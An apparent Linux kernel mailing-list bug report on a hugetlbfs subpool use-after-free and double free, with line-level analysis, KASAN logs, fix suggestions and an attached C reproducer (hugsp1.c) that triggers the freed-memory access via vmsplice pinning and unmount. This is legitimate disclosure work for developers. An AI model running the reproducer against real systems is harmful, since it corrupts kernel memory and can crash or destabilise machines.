mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)

From: 徐晗翔

Date: Sun Nov 22 2026 - 02:37:50 EST


A hugetlbfs mount that sets only min_size= (no size=) leaves
hugepage_subpool::used_hpages unmaintained and clamps ::rsv_hpages to
min_hpages, so subpool_is_free() can report "free" while folios that
still carry the subpool pointer are in flight. The destroy decision is
taken under spool->lock but the field reads, hugetlb_acct_memory() and
kfree() happen after the unlock, and only superblock handles are counted
(spool->count), not folios. A page that a user pinned with vmsplice()
outlives evict_inodes() and put_super(); when the pin is finally released,
free_huge_folio() calls hugepage_subpool_put_pages() on the freed object:
it spin_lock_irqsave()s the freed slab and dereferences spool->hstate /
spool->min_hpages. KASAN reports slab-use-after-free at the lock
acquisition; on a kernel without KASAN/quarantine the same path reaches a
second kfree(spool) and hugetlb_acct_memory(h, -min_hpages), i.e. a
double free plus an unsigned underflow of hstate.resv_huge_pages. The
whole PoC-A sequence is single-threaded and deterministic - no race
window needs to be widened - and three variants reproduce on 7.3.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 #6 SMP PREEMPT_DYNAMIC (gcc 13.3.0), built from the
unmodified release tree used for the audit:
mm/hugetlb.c md5 cea0533ab009942534c1da41717ec926,
fs/hugetlbfs/inode.c md5 c63e24ddfa05e6d43ef89dfcb91da251.
Config: CONFIG_KASAN=y, CONFIG_KASAN_GENERIC=y, CONFIG_KASAN_OUTLINE=y,
CONFIG_KASAN_STACK=y, CONFIG_HUGETLBFS=y, CONFIG_HUGETLB_PAGE=y.
QEMU/KVM x86_64 guest, 4 vCPU / 4 GiB, booted with
"hugepages=8 default_hugepagesz=2M" (8 x 2 MiB pages available).
All line numbers below are from that tree.

* Mechanism

Three layers combine; each one alone would be survivable.

1) In a min-only subpool the accounting is no longer tied to folios.
hugepage_subpool_get_pages() only maintains used_hpages inside the
"if (spool->max_hpages != -1)" branch (mm/hugetlb.c:213-219), and its
min branch only runs "if (spool->min_hpages != -1 && spool->rsv_hpages)"
(:222-231); with rsv_hpages == 0 it returns the initial ret = delta
and records nothing. hugepage_subpool_put_pages() therefore sees
used_hpages == 0 forever, executes the min branch on every put
(:265-276), adds delta back to rsv_hpages and clamps it to min_hpages
(:268-269). Consequently subpool_is_free() (:129-139) degenerates to
"rsv_hpages == min_hpages" and keeps returning true after the first
put. The comment at :270-273 explicitly acknowledges that put_super
may not be able to free the spool because pages are still out, and
defers the free to the page path - i.e. pages outliving the
superblock is a designed-for situation, but the code only counts
superblock handles, not the pages.

2) The folio keeps a raw pointer, and count tracks only superblock
handles. spool->count is set to 1 in hugepage_new_subpool() (:169)
and decremented only in hugepage_put_subpool() (:192); its only
callers are hugetlbfs_put_super() (fs/hugetlbfs/inode.c:1131, in the
code next to :1132) and the fill_super error path (fs/hugetlbfs/inode.c:1421).
Meanwhile alloc_hugetlb_folio() unconditionally stores the bare
pointer with hugetlb_set_folio_subpool(folio, spool)
(mm/hugetlb.c:3043), and free_huge_folio() copies it into a local
before clearing the folio field (mm/hugetlb.c:1681, :1688, :1710), so
clearing the field cannot save the later user.

3) The destroy decision and the destroy action are not one atomic step.
unlock_or_release_subpool() (mm/hugetlb.c:141-157):

bool free_subpool = subpool_is_free(spool); /* :144, lock held */
spin_unlock_irqrestore(&spool->lock, irq_flags); /* :149 */
if (free_subpool) {
if (spool->min_hpages != -1) /* :152 */
hugetlb_acct_memory(spool->hstate, /* :153 */
-spool->min_hpages);
kfree(spool); /* :155 */
}

There is no "dying" flag and no ownership claim, so a second entrant
that computed free_subpool == true before the first kfree() (or any
later entrant that runs after it) reads spool->hstate and
spool->min_hpages from freed memory and kfree()s the same object
again. hugetlb_acct_memory() itself drops and retakes
hugetlb_lock inside return_unused_surplus_pages()
(mm/hugetlb.c:2347-2388, with update_and_free_pages_bulk() in the
middle), which makes the post-unlock window schedulable.

The page-cache reference accounting is the reason a page can be the
last user: insertion in hugetlb_add_to_page_cache() clears
restore_reserve (mm/hugetlb.c:5715), so the folio's free path always
takes the hugepage_subpool_put_pages() branch (:1703-1712); the page
cache itself holds folio_nr_pages() references
(mm/filemap.c:848-950, folio_ref_add(folio, 512) for a 2 MiB page) and
removal drops exactly that many (mm/filemap.c:230-240); the faulting
PTE reference is returned by the zap path, whose mmu-gather entry puts
one reference (mm/mmu_gather.c:214-217, mm/folio.c:91-108,
mm/filemap.c:1052-1078). With an extra vmsplice() pin
(fs/splice.c:1447-1495, lib/iov_iter.c:1063-1128, released by
fs/splice.c:108-113 -> put_page()), evict_inodes()
(fs/super.c:737) removes the page-cache reference but the folio
survives, put_super() (fs/super.c:750-751 -> fs/hugetlbfs/inode.c:1125-1136)
frees the spool, and the later unpin reaches free_huge_folio() with a
dangling spool.

Concrete PoC-A sequence (all as root, single thread):
1. mount -t hugetlbfs -o min_size=0 none /mnt/huge
(min_size=0 is accepted: fs/hugetlbfs/inode.c:1270-1345 parses it,
:1245-1265 turns it into min_hpages = 0, :1345-1370 only rejects
min > max when max was given; the spool is created at
fs/hugetlbfs/inode.c:1396-1402)
2. ftruncate(fd, 2M); mmap(..., MAP_SHARED); fault page 0 (allocates a
folio, stores the subpool pointer, adds it to the page cache)
3. vmsplice(pipe[1], {addr, 4096}, 1, 0) - pin one 4 KiB subpage
4. munmap(); close(fd) - zap returns the PTE ref,
evict_inode removes the page-cache refs and calls
hugetlb_unreserve_pages() (fs/hugetlbfs/inode.c:552-591); the folio
still has the pin
5. umount - evict_inodes() finds
nothing to evict, hugetlbfs_put_super() drops the last handle,
subpool_is_free() is true (rsv_hpages == min_hpages == 0),
hugetlb_acct_memory(h, 0) is a no-op and kfree(spool) runs
6. read(pipe[0], ...) - put_page() drops the
last reference -> free_huge_folio() -> hugepage_subpool_put_pages()
spins on and reads the freed object

PoC-B is the same with min_size=2M: mmap 4M, fault+pin page 0 only,
ftruncate(fd, 2M) puts rsv_hpages back to min_hpages through
hugetlb_unreserve_pages() -> hugepage_subpool_put_pages()
(mm/hugetlb.c:6861-6900), then the same close/umount/unpin sequence.
Because min_hpages == 1, the second destroy also calls
hugetlb_acct_memory(h, -1), and struct hstate::resv_huge_pages is an
unsigned long (include/linux/hugetlb.h:667), so it underflows to
2^64-1.


* Reproducer (attached: hugsp1.c) and results on 7.3

hugsp1.c is a self-contained static userspace program; no kernel
modification and no module needed. It mounts hugetlbfs itself and has
four modes: poca (min_size=0), pocb (min_size=2M + ftruncate),
poca2 (two pinned pages) and ctl (negative control that unpins before
umount).

# build
gcc -O2 -static -o hugsp1 hugsp1.c
# boot the KASAN kernel with: hugepages=8 default_hugepagesz=2M
# run (as root, in the guest)
./hugsp1 ctl # expect: "ctl done", no KASAN report
./hugsp1 poca # expect: slab-use-after-free after umount
./hugsp1 pocb # same, plus acct(-min) -> resv_huge_pages underflow
./hugsp1 poca2 # two delayed frees

Observed on the 7.3.0 KASAN guest (single-shot run, panic on first
report; KASAN multi_shot=1 runs show the same report repeatedly):

- poca : 1 report at 15.583 s, "BUG: KASAN: slab-use-after-free in
_raw_spin_lock_irqsave+0x77/0xe0", "Write of size 4" - the
queued_spin_lock() inside hugepage_subpool_put_pages();
allocation stack: hugepage_new_subpool+0x37/0xd0 <-
hugetlbfs_fill_super+0x16b/0x390 <- path_mount <- __x64_sys_mount;
free stack: kfree <- hugetlbfs_put_super+0x3e/0x50 <-
generic_shutdown_super <- kill_anon_super <- cleanup_mnt;
use stack: hugepage_subpool_put_pages.part.0+0x19/0x1c0 <-
free_huge_folio+0x13e/0x2f0 <- __folio_put+0x13b/0x150 <-
page_cache_pipe_buf_release+0x7d/0xa0 <- anon_pipe_read+
0x290/0x630 (the "kfree <- hugetlbfs_put_super+0x3e" shape is
the tail call jmp from hugepage_put_subpool()).
- pocb : same report at 13.929 s.
- poca2: same report at 14.400 s.
- ctl : 0 KASAN reports (the pin is released while count == 1, so
subpool_is_free() is false and nothing is freed).
- a 70 s multi_shot run produced 51 reports plus a spin-loop hang
(8452 printk messages dropped, VM killed by the harness
timeout): the freed object is re-used by KASAN's quarantine
metadata, which overwrites spool->lock and leaves the lock
slot non-zero, so the second-entrant path spins forever
instead of reaching the second kfree().

With CONFIG_KASAN=n the same unpin path is expected to reach the second
kfree(spool) (and, for min_size>0, hugetlb_acct_memory(h, -1) which
subtracts from an unsigned long). The audit report includes a
line-by-line model of that path and a self-check list (it is not
claimed as dynamically observed here).



* Suggested direction

The fix needs both layers, otherwise each half leaves the other open:

(a) make the destroy decision account for folios, not just superblock
handles. Either maintain used_hpages for every folio regardless of
max_hpages (and let subpool_is_free() require used_hpages == 0), or
add an active_folios counter incremented in
hugetlb_set_folio_subpool()/alloc_hugetlb_folio() and decremented in
free_huge_folio(); in min-only mode subpool_is_free() must not
become true while any folio still references the spool.

(b) make destroy ownership atomic. Take a "dying" bit under spool->lock
in unlock_or_release_subpool(), and let only the context that
transitions from live to dying read min_hpages/hstate, call
hugetlb_acct_memory() and kfree(); every other entrant must return
without touching the object after the unlock. The current shape
(decide under lock, act after unlock, no claim) is a UAF even
without the accounting bug.

(c) preferably do not store a bare spool pointer in a folio at all
(reference-count the subpool per folio, or make the unmap/put path
drain before the superblock goes away); as defense in depth,
WARN_ONCE when a folio still carries a subpool pointer at put_super()
time would have made this visible in testing.

Happy to test any proposal; the reproducer and the KASAN logs are small
and repeatable.


Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
xuhx@xxxxxxxxxxx
/*
* hugsp1.c - userspace reproducer for MM-HUGETLB-SP-01
* ("hugetlbfs minimum-only subpool lifetime race": slab-use-after-free +
* double-free in hugepage_subpool_put_pages()/unlock_or_release_subpool()).
*
* Static build:
* gcc -O2 -static -o hugsp1 hugsp1.c
*
* Modes:
* poca mount -o min_size=0; one page; fault it; pin one 4K sub-page with
* vmsplice(); unmap; close; umount (page still pinned -> folio
* outlives superblock, spool is kfree()d by hugepage_put_subpool());
* then read the pipe -> put_page -> free_huge_folio() uses the
* freed spool.
* pocb mount -o min_size=2M; 4M mmap, only page 0 faulted+pinned;
* ftruncate to 2M (unreserve puts rsv_hpages back to min_hpages);
* close; umount -> same as poca but acct(-min) also underflows the
* global hstate.resv_huge_pages.
* poca2 two pages pinned, both released after umount (two delayed frees).
* ctl negative control: same as poca but unpin before umount.
*
* On a KASAN kernel the expected reports are
* BUG: KASAN: slab-use-after-free in hugepage_subpool_put_pages
* BUG: KASAN: double-free in kfree
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/uio.h>

#define HPAGE (2UL * 1024 * 1024) /* default huge page size on x86-64 */
#define PINLEN 4096

static int pipefd[2] = { -1, -1 };
static char drainbuf[PINLEN * 4];

static void die(const char *what)
{
printf("HUGSP1: FAIL %s: errno=%d (%s)\n", what, errno, strerror(errno));
exit(1);
}

static void check_hugepages(void)
{
FILE *f = fopen("/proc/meminfo", "r");
char line[256];
long total = -1;

if (!f)
return;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "HugePages_Total: %ld", &total) == 1)
break;
}
fclose(f);
printf("HUGSP1: HugePages_Total=%ld Hugepagesize=%lukB\n", total,
HPAGE / 1024);
if (total <= 0) {
printf("HUGSP1: FAIL no huge pages reserved at boot\n");
exit(1);
}
}

static void setup_mount(const char *opts)
{
mkdir("/mnt", 0755);
if (mkdir("/mnt/huge", 0755) && errno != EEXIST)
die("mkdir /mnt/huge");
if (mount("none", "/mnt/huge", "hugetlbfs", 0, opts))
die("mount hugetlbfs");
printf("HUGSP1: mounted hugetlbfs (\"%s\")\n", opts);
}

static void make_pipe(void)
{
if (pipe(pipefd))
die("pipe");
}

static void pin_page(const void *addr, const char *tag)
{
struct iovec iov;
ssize_t n;

iov.iov_base = (void *)addr;
iov.iov_len = PINLEN;
n = vmsplice(pipefd[1], &iov, 1, 0);
if (n != PINLEN) {
printf("HUGSP1: vmsplice(%s) -> %zd errno=%d (%s)\n", tag, n,
errno, strerror(errno));
exit(1);
}
printf("HUGSP1: pinned 4K at %p via vmsplice (%s)\n", addr, tag);
}

static void drain_pin(const char *tag)
{
ssize_t n;

fflush(stdout);
n = read(pipefd[0], drainbuf, PINLEN);
printf("HUGSP1: drained %zd bytes from pipe (%s) -> put_page\n", n, tag);
fflush(stdout);
}

static void close_pipe(void)
{
if (pipefd[0] >= 0)
close(pipefd[0]);
if (pipefd[1] >= 0)
close(pipefd[1]);
pipefd[0] = pipefd[1] = -1;
}

static int do_umount(void)
{
if (umount2("/mnt/huge", 0) == 0)
return 0;
printf("HUGSP1: umount -> errno=%d (%s), retry MNT_DETACH\n", errno,
strerror(errno));
return umount2("/mnt/huge", MNT_DETACH);
}

/*
* poca: mount min_size=0, fault one huge page, pin it, unmap, close, umount,
* then release the pin. By the time the pin is released the superblock and
* the hugepage_subpool object are gone, but the pinned folio still carries
* the (now dangling) spool pointer.
*/
static void run_poca(int two_pages)
{
void *p, *p2 = NULL;
int fd;

setup_mount("min_size=0");
make_pipe();
fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
if (fd < 0)
die("open /mnt/huge/f");
if (ftruncate(fd, two_pages ? 2 * HPAGE : HPAGE))
die("ftruncate i_size");
p = mmap(NULL, two_pages ? 2 * HPAGE : HPAGE, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, 0);
if (p == MAP_FAILED)
die("mmap");
*(volatile char *)p = 0x41; /* fault page 0 into the page cache */
printf("HUGSP1: faulted page 0\n");
if (two_pages) {
p2 = (char *)p + HPAGE;
*(volatile char *)p2 = 0x42;
printf("HUGSP1: faulted page 1\n");
}
pin_page(p, "page0");
if (two_pages)
pin_page(p2, "page1");
if (munmap(p, two_pages ? 2 * HPAGE : HPAGE))
die("munmap");
close(fd);
printf("HUGSP1: unmapped + closed; page cache refs dropped, pin held\n");
if (do_umount())
die("umount");
printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n");
fflush(stdout);
drain_pin(two_pages ? "page0" : "page0");
if (two_pages)
drain_pin("page1");
close_pipe();
printf("HUGSP1: poca done\n");
}

/*
* pocb: min_size=2M. Reserve two pages by mmap(4M), fault+pin only page 0,
* then ftruncate to 2M so that hugetlb_unreserve_pages() puts rsv_hpages back
* to min_hpages while page 0 is still pinned.
*/
static void run_pocb(void)
{
void *p;
int fd;

setup_mount("min_size=2M");
make_pipe();
fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
if (fd < 0)
die("open /mnt/huge/f");
if (ftruncate(fd, 2 * HPAGE))
die("ftruncate 4M");
p = mmap(NULL, 2 * HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (p == MAP_FAILED)
die("mmap 4M");
*(volatile char *)p = 0x41;
printf("HUGSP1: faulted page 0 (page 1 left untouched)\n");
pin_page(p, "page0");
if (munmap(p, 2 * HPAGE))
die("munmap");
if (ftruncate(fd, HPAGE))
die("ftruncate 2M");
printf("HUGSP1: truncated to 2M -> rsv_hpages back to min_hpages\n");
close(fd);
if (do_umount())
die("umount");
printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n");
fflush(stdout);
drain_pin("page0");
close_pipe();
printf("HUGSP1: pocb done\n");
}

/*
* ctl: negative control. The pin is released while the superblock is still
* alive, so free_huge_folio() sees a live subpool (count == 1) and nothing is
* freed -> no KASAN report expected.
*/
static void run_ctl(void)
{
void *p;
int fd;

setup_mount("min_size=0");
make_pipe();
fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
if (fd < 0)
die("open /mnt/huge/f");
if (ftruncate(fd, HPAGE))
die("ftruncate");
p = mmap(NULL, HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (p == MAP_FAILED)
die("mmap");
*(volatile char *)p = 0x41;
pin_page(p, "page0");
if (munmap(p, HPAGE))
die("munmap");
drain_pin("page0"); /* unpin while sb alive: spool count == 1 */
close_pipe();
close(fd);
if (do_umount())
die("umount");
printf("HUGSP1: ctl done (expected: no KASAN report)\n");
}

int main(int argc, char **argv)
{
const char *mode = argc > 1 ? argv[1] : "poca";

setvbuf(stdout, NULL, _IONBF, 0);
printf("HUGSP1: start mode=%s\n", mode);
check_hugepages();
if (!strcmp(mode, "poca"))
run_poca(0);
else if (!strcmp(mode, "poca2"))
run_poca(1);
else if (!strcmp(mode, "pocb"))
run_pocb();
else if (!strcmp(mode, "ctl"))
run_ctl();
else {
printf("HUGSP1: unknown mode %s\n", mode);
return 1;
}
printf("HUGSP1: end\n");
return 0;
}